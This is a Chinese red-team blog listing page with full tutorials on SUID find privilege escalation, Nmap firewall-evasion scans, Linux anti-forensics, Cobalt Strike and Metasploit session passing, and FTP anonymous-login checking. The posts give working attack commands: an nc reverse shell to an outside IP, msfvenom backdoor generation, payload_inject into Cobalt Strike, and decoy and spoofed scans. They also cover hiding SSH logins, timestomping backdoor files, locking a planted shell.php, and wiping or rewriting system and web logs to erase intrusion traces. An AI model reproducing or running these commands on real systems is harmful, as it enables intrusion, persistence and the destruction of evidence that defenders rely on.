首页
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
18,249 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
16,620 阅读
3
泷羽Sec红队培训,OSCP+国际渗透测试专家中级认证
7,268 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
6,931 阅读
5
几个常见的密码字典推荐
6,841 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
195
篇文章
累计收到
2
条评论
首页
导航
泷羽导航
在线工具
公众号编辑工具
留言面板
友情链接
搜索到
67
篇与
的结果
2025-05-18
find基础命令与提权教程
前言在信息安全的广阔领域中,系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具,在日常管理中广泛应用。然而,当find命令被错误地赋予SUID权限时,它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法,展示其在特定权限设置下的安全风险,并通过实际案例演示权限提升过程,提供针对性的防御策略。参数介绍find常用参数语法:find 【path...】 【expression】 `path`为查早路径,` . `为当前路径,` / `为根目录,`expression`为参数 参数列表参考: -name:按照文件名查找文件 -perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限 -user:按照文件属性来查找 -size n:文件大小是n个单位 -type: 1. d:目录 2. f:文件 3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty` 4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda` -atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n: 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print: 将匹配的文件输出到标准输出 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和;之间的空格。 该表来自:https://blog.csdn.net/weixin_44912169/article/details/105845909Find实例1、在当前目录下模糊查找.txt 后缀的文件find . -name "*.txt"2、在root目录下查找大于50M小于100M的文件find / -size +50M -size -100M -type f # +-号分别代表大于和小于查找10分钟内读取过的文件find / -amin 10 -type f查找权限为755的文件或目录并排序find -perm -755 -type f |sort查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'使用find 将这些文件合并到一个文件中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'拆解之后find . : 从当前目录开始找-type f : 只查找文件(不包括目录)-name '*.txt' : 查找文件名以 .txt 文件结尾的文件-exec cat {} ; : 对找到的每个文件执行cat命令,{}是一个占位符,代表find命令找到的每个文件名。;是命令的结束标记。> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在,他会被覆盖;如果不存在,会被创建。这样就清楚了:┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!' ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'对结果进行赛选,然后保存再result.txt中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽前面两个例子只是对结果进行操作,那么这里执行其他命令cat /etc/passwd┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat /etc/passwd ; root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin赋予root用户才能读取这个result,txt文件┌──(root㉿kali)-[/data/demo] └─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽我们切换kali执行find命令┌──(root㉿kali)-[/data/demo] └─# su kali ┌──(kali㉿kali)-[/data/demo] └─$ ls 1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo] └─$ find result.txt -exec whoami ; kali ┌──(kali㉿kali)-[/data/demo] └─$ cat result.txt cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了使用kali用户提权,被拒绝了,find提权的利用就是/usr/bin/find具有SUID权限,一旦find被赋予了SUID权限,那么黑客利用这个方式进行权限提示,造成无法挽回的后果┌──(kali㉿kali)-[/data/demo] └─$ chmod u+s /usr/bin/find chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作为了模拟黑客攻击过程,我们直接使用root用户修改find命令为SUID权限┌──(kali㉿kali)-[/data/demo] └─$ su root 密码:输入你的密码 ┌──(root㉿kali)-[/data/demo] └─# chmod u+s /usr/bin/find代码块不好看,换个终端。。。查看这个find权限,具有一个SUID权限SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。在这里,find文件所有者为root,那么我们使用具有suid权限的find命令时,是以root用户的权限去执行的模拟开始,假设我们已经getshell,系统用户为kali找到了find具有SUID权限那么就可以利用find执行系统命令,whoami,这时候是root用户,而我们直接使用whoami则是kali普通用户首先查看result.txt权限,利用cat命令查看,权限不够,那么我们使用find命令执行命令,即可查看我们所属用户为root的result.txt文件,使用{}代表find查询出来的所有文件可以执行命令了,那么就是反弹shell,windows作为攻击机,开启nc监听在开始反弹之前,检查root用户的终端是哪个位置那么我们正常反弹shell的命令就是这样的,但是移交的是普通用户kali权限nc -e /usr/bin/zsh 10.0.0.7 3000使用find命令反弹shell,那么就是root权限反弹成功,我是root查看我们的result.txt文件,成功提权!总结find更多的用法只是用来查找文件,但如果操作不慎,赋予了SUID权限,它也可以被用来进行权限提升。本文总结了如下几点:1、当find命令被赋予了SUID权限时,普通用户执行该命令将能够以文件所有者(通常是root)的权限来执行。2、提权步骤需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。一旦确认find命令具有SUID权限,就可以利用它来执行需要更高权限的命令。例如,可以使用find命令来读取或修改通常只有root用户才能访问的文件。3、防范防御者应该定期检查系统上的重要命令(如find)的权限设置,以确保它们没有被不当修改。还定期审计系统上的权限设置,以确保没有不当的权限提升行为发生。感谢观看!
2025年05月18日
1,913 阅读
0 评论
0 点赞
2025-05-18
内网隐蔽扫描,Nmap高级用法
前言Nmap(Network Mapper)是一款开源免费的网络发现和安全审计工具,主要用于扫描目标主机的开放端口、操作系统类型、启用的服务等信息。以下是Nmap的一些常见使用介绍Nmap的常见使用介绍主机发现:Nmap可以通过发送不同类型的探测包(如ICMP echo请求、TCP SYN包等)来检测目标主机是否在线。常用命令如-sn(Ping扫描,只进行主机发现,不进行端口扫描)和-PE/PP/PM(使用ICMP echo、timestamp、netmask请求包发现主机)。端口扫描:Nmap支持多种端口扫描技术,包括TCP SYN扫描(-sS)、TCP connect扫描(-sT)、UDP扫描(-sU)等。用户可以根据需要选择适当的扫描方式,以探测目标主机上开放的端口。版本探测:Nmap能够探测目标主机上运行的服务及其版本信息。通过发送特定的探测包并分析响应,Nmap可以识别出服务的类型和版本。使用-sV选项可以启用版本探测功能。操作系统探测:Nmap还能够尝试识别目标主机的操作系统类型。通过收集目标主机的响应数据包中的指纹信息,并与已知的操作系统指纹库进行比对,Nmap可以推断出目标主机的操作系统。使用-O选项可以启用操作系统探测功能。NSE脚本引擎:Nmap的强大之处在于其内置的NSE(Nmap Scripting Engine)脚本引擎。用户可以通过编写或运行NSE脚本来扩展Nmap的功能,实现更复杂的网络探测和安全审计任务。结果输出:Nmap支持将扫描结果输出到不同的格式,包括文本、XML、Grepable等。用户可以根据需要使用相应的输出选项(如-oN、-oX等)来保存扫描结果。使用教程一、基本教程(附图文)1、指定端口扫描主机的开放端口,在nmap后面直接跟主机IP(默认扫描1000个端口)扫描指定端口,使用 -p 参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口nmap 192.168.31.180 -p 80 nmap 192.168.31.180 -p 1-80 nmap 192.168.31.180 -p 80,3389,22,21 nmap 192.168.31.180 -p 1-65535 nmap 192.168.31.180 -p- # -p- 等价于 -p 1-655352、主机探测扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。本质上是Ping扫描,能Ping通有回包,就判定主机在线。nmap -sP 192.168.209.0/243、服务识别扫描端口时,默认显示端口对应的服务,但不显示服务版本。想要识别具体的「服务版本」,可以使用 -sV 参数。nmap 192.168.209.1 -p 80-1000 -sV4、系统识别想要识别「操作系统版本」,可以使用 -O 参数。nmap 192.168.209.1 -OTips:Nmap扫描出的系统版本并不是完全正确的,仅供参考。当识别不出具体版本时,Nmap会以概率的形式列举出可能的操作系统,如上图所示。5、导出扫描结果Nmap的扫描结果可以保存到文件中,比如文本格式、XML格式。1)将扫描结果导出为「文本格式」,结果原样保存。nmap 192.168.209.1 -p 80-1000 -oN result.txt2)将扫描结果导出为「xml格式」,结果的保存格式会发生变化。nmap 192.168.209.1 -p 80-1000 -oX result.xml二、高级用法扫描绕过安全设备欺骗发送参杂着假ip的数据包检测nmap -D 111.111.111.111 192.168.209.11、碎片扫描通过将数据包分割成更小的部分发送,使得防火墙更难识别这些数据包属于一个扫描流量。nmap -f <目标IP地址> # 使用随机偏移量的碎片扫描 nmap -mtu 8 <目标IP地址> # 指定MTU大小为8的碎片扫描2、诱饵扫描在扫描数据包中添加多个诱饵IP地址,使目标防火墙难以判断真正的扫描源,从而增加扫描的隐蔽性。nmap -D RND:10 <目标IP地址> # 随机使用10个诱饵IP地址 nmap -D decoy1,decoy2,decoy3 <目标IP地址> # 指定具体的诱饵IP地址3、空闲扫描利用一台空闲主机(zombie host)作为跳板,通过向空闲主机发送经过特殊构造的数据包,间接地探测目标主机的端口状态,而无需直接向目标主机发送数据包。nmap -P0 -sI zombie <目标IP地址> # 使用名为zombie的空闲主机进行扫描注意:这里的“zombie”应替换为实际的空闲主机地址(简称僵尸机)。4、随机数据长度在发送的数据包中填充随机长度的数据,以绕过一些基于数据包长度过滤的防火墙规则。nmap --data-length 25 <目标IP地址> # 在每个数据包中填充25字节的随机数据5、欺骗扫描通过伪造源IP地址或MAC地址,使防火墙难以追踪真实的扫描源。nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff <目标IP地址> # 伪造源MAC地址进行TCP连接扫描 nmap --badsum <目标IP地址> # 发送带有错误校验和的数据包,可能绕过某些简单的防火墙规则 nmap -cloak-source <spoofed_ip1>,<spoofed_ip2> <target_ip> # 伪造ip地址进行扫描6、SYN扫描虽然SYN扫描本身并不直接绕过防火墙,但它是一种非常隐蔽的扫描方式,因为它只发送SYN包而不完成整个TCP握手过程,从而减少了被防火墙检测到的可能性。nmap -sS <目标IP地址> # 使用SYN扫描方式7、使用特定端口或绕过常用端口一些防火墙规则基于端口过滤,可以尝试使用特定的源端口来绕过。例如,很多防火墙允许HTTP端口(80)和HTTPS端口(443)通过。nmap --source-port 80 <目标IP地址> # 使用HTTP端口作为源端口进行扫描8、ARP Ping扫描(-PR)nmap -sn -PR <target_network> # 或者 nmap -PR <target_network>Tips:ARP 扫描仅适用于局域网环境,因为它依赖于 ARP 协议,该协议用于在局域网内解析 IP 地址到 MAC 地址。ARP 扫描可能无法发现配置了 ARP 过滤或 ARP 欺骗防护措施的主机。总结Nmap作为一款开源免费的网络发现和安全审计工具,功能强大且多样。它不仅能够进行主机发现和端口扫描,识别目标主机上的服务及其版本信息,还能尝试探测操作系统的类型。通过内置的NSE脚本引擎,Nmap的功能得到了进一步扩展,可以实现更复杂的网络探测任务。此外,Nmap支持将扫描结果输出到不同格式的文件中,便于用户保存和分析。高级用法中,Nmap提供了多种扫描策略,如碎片扫描、诱饵扫描和空闲扫描等,以帮助用户绕过安全设备的检测,增加扫描的隐蔽性和灵活性。自学网络安全,互相交流的同时还能交朋友,和博主一起来交流学习吧往期推荐别他妈扫端口了!老子在404页面养了个XSS丧尸军团护网三天裤衩漏?当代网安打工人掀桌暴走史当面试官逼问「如何绕过WAF」时,老子反手在会议室种了个0day还在SQL注入里当脚本小子?破解特斯拉的男人配叫黑客!【面试现场】菜鸟一句话干翻十年老渗透!神器分享 红队快速打点工具-DarKnuclei雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路
2025年05月18日
2,519 阅读
0 评论
0 点赞
2025-05-18
linux隐身登录
ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下,如果哪里有错误还请指正,欢迎留言,让更多的师傅们交流学习,还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么?我用的Ubuntu系统,在ubuntu系统中的w命令,主要用于显示当前当前登录用户的所有信息,包括正在执行的命令。比如我新建两个ssh连接(也就是两个终端,连同一个服务器)。终端1:执行 ping www.baidu.com在ping的过程中,打开终端2,那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候,此时能看到当前登录的信息,这个TTY下的pts/0和pts/2意思就是伪终端的区分,也就是两个不同的ssh连接。两个ssh的连接,连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件(在某些系统中可能是/var/log/btmp)同样的我们登录两个ssh连接,使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢?那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T :告诉ssh客户端,不要分配一个TTY(伪终端)root :连接用户xxx.xxx.xxx.xxx :连接的服务器ip地址/bin/bash :在远程服务器上启动一个交互式的Bash shell。效果如下,默认登录一个终端的时候,会有一个pts/0,但是这里已经成功隐藏了登录配置一台正常连接的ssh终端,也可以看到,我同时登录了两台服务器,但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑,通常禁用root通过ssh登录,或者禁止root用户执行某些操作,使用普通用户登录系统。排查使用 $PPID,可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录,在退出会话前直接执行:# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history)附加到内存数据中了举例,ping www.baidu.com后,kill,连接断开重新登录,history,并没有ping 这条命令,隐藏成功正常退出重连,history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录,建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间,我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ,将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此,但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time):表示我们最后一次访问(仅仅是访问,没有改动)文件的时间 最近更改(modify time):表示我们最后一次修改文件的时间 最近改动(change time):表示我们最后一次对文件属性改变的时间,包括权限,大小,属性等等或者使用find命令,查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢? 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件,大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据,但不能删除,适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 # 直接覆盖日志文件 echo > /var/log/btmp cat /dev/null > /var/log/secure # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure清除web日志入侵痕迹# 直接替换日志ip地址 sed -i 's/192.168.166.85/192.168.1.1/g' access.log # 清除部分相关日志 cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/文件安全删除工具# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数 [root@centos]# shred -f -u -z -v -n 8 1.txt # wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件 [root@centos]# wipe filename学习于(有删改):https://www.cnblogs.com/awake1t/p/14504139.html往期推荐【重要通知】关于举办第二届CN-fnst::CTF的通知【kali笔记】这样炫酷的终端签名,是如何打印出来的?渗透测试高频面试题分享upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析开箱即用!265种windows渗透工具合集--灵兔宝盒
2025年05月18日
2,279 阅读
0 评论
0 点赞
2025-05-18
CS与MSF联动,CobaltStrik和MSF联动的方法,msf上线CobaltStrik
CS与MSF联动0x01 CS与MSFCobaltStrike(简称CS)是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework(简称MSF)的图形化界面工具,而CobaltStrike大家可以理解其为Armitage的商业版。早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。0x02 CS传递会话到MSF为了方便演示操作,将CS的服务端与MSF服务都设置在同一个IP上。1. CS操作先在CobaltStrike上新建一个监听器(Beacon HTTP)这里的IP端口号指CS服务端利用CobaltStrike生成一个后门文件将后门文件放在受害主机中执行,之后受害主机就会上线到CS了至此,CobaltStrike获得到了一个会话2. MSF操作在MetasploitFramework上开启一个meterpreter监听(reverse_http),用于接收CobaltStrike传递过来到会话use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # MSF所在主机的ip set lport 4444 # MSF所在主机自定义端口号 run 3. 会话传递先在CobaltStrike上创建一个监听(Foreign HTTP),IP 和 端口号需要与MetasploitFramework中设置监听的保持一致然后在CobaltStrike上选中要传递到会话,点击右键选择增加会话(Spawn) ,再选择刚刚创建的监听(Foreign HTTP)上述步骤完成后,在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了0x03 MSF传递会话到CS1. CS操作在CobaltStrike上新建一个监听器(Beacon HTTP)2. MSF操作先通过msfvenom生成后门文件msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe 这里的IP端口号指MSF服务所在主机使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shelluse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号,与后门文件中的一致 run 将后门文件放置受害主机运行后,MetasploitFramework上会获得一个meterpreter的shell3. 会话传递将获取到的MetasploitFramework会话挂至后台,会看到一个会话sessions idbackground 调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run 上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了参考文章https://teamssix.com/210129-191714.htmlCobaltstrike 学习笔记(三)CS与MSF联动 -
2025年05月18日
1,648 阅读
0 评论
0 点赞
2025-05-18
ftp匿名登录
FTP协议-匿名用户登录前言日常大家可能接触web漏洞比较多而对其他端口及协议不那么了解,其实其他协议漏洞在渗透中也同样重要只是平时可能接触得不多。本文将介绍FTP协议、FTP匿名用户登录及其具体流程分析和自动化利用demo。FTP简介FTP是File Transfer Protocol(文件传输协议)的简称,用于internet上的控制文件的双向传输。很多人以为FTP是一个服务,实际上FTP 是一个协议而不是一个服务,应用到FTP协议的服务有很多,常用的就是vsFTPd。FTP有三种用户模式: 匿名用户模式: 允许任何人无需提供用户名和密码即可登录 FTP 服务器。 通常对访问权限有严格限制,只能访问特定的公共目录,并且可能无法进行上传、删除等操作。 本地用户模式: 使用服务器操作系统中的本地用户账号和密码进行登录。 登录后,用户的权限与在本地操作系统中的权限相同。 比如,服务器上有个用户名为“user1”,其在操作系统中具有特定的文件和目录权限,那么在通过 FTP 以“user1”登录时,将拥有相同的权限。 虚拟用户模式: 这并非真正的操作系统用户,而是 FTP 服务器自定义的用户。 具有特定的权限配置,可根据需求灵活设置权限,实现更精细的访问控制。 常用于需要为 FTP 服务创建特殊权限用户,而又不想直接使用本地系统用户的情况。 FTP协议占用情况:21端口:命令控制,用于接收客户端执行的FTP命令。20端口:数据传输,用于上传、下载文件数据。、FTP服务搭建-vsftpdvsftpd默认以匿名用户访问,不修改配置文件的话本身就存在匿名用户登录漏洞。vsftpd安装yum -y install vsftpd服务启动systemctl vsftpd start防火墙规则放行firewall-cmd --zone=public --add-service=ftp --permanent firewall-cmd --zone=public --add-port=21/tcp --permanent复现分析进行连接ftp 192.168.174.128输入用户名 anonymous和ftp都行经过测试发现密码置为空或者是随意输入都可成功登录抓包分析首先进行TCP三次握手建立连接建立连接后服务端向客户端发送包,表示服务已为新连接的用户就绪以及一些服务信息客户端发送包表示表示服务器需要切换到UTF8字符集进行工作服务端再向客户端回包表示表示命令执行成功且已在工作再UTF8模式下接下来就是整个登录的流程,包括指定用户、输入密码和登录成功指定登录用户提示输入密码输入密码提示登录成功脚本测试可以使用python的ftplib库模拟FTP协议登陆的行为来进行自动化测试简单demo# -*- coding:utf-8 -*- """ @Created on : 2024/8/1 16:28 @Auther: c @Des: """ import ftplib from loguru import logger def anonymous_login(ip): try: ftp = ftplib.FTP(ip) logger.info("尝试匿名用户登录" + ip) ftp.login() except ftplib.all_errors as e: logger.info(f"匿名用户利用失败: {e}") else: logger.info("存在匿名用户" + ip) if __name__ == '__main__': anonymous_login('192.168.174.128')我们可以具体跟进看到login函数默认的用户为anonymous密码为anonymous@确实是登录成功了修复措施vsftpd下禁用匿名用户登录需修改配置文件/etc/vsftpd/vsftpd.conf,将anonymous_enable=YES修改为anonymous_enable=NO,再重新启动服务。再次用脚本测试可以看到登陆失败在wireshark中同样也是总结针对端口协议自动化探测及利用的脚本编写在此只做了简单demo示例。如果想更进一步,可以对端口进行遍历或指定探测,与特定服务返回数据包中固定字段进行匹配识别出协议再打对应协议漏洞poc。
2025年05月18日
1,405 阅读
0 评论
0 点赞
1
...
10
11
12
...
14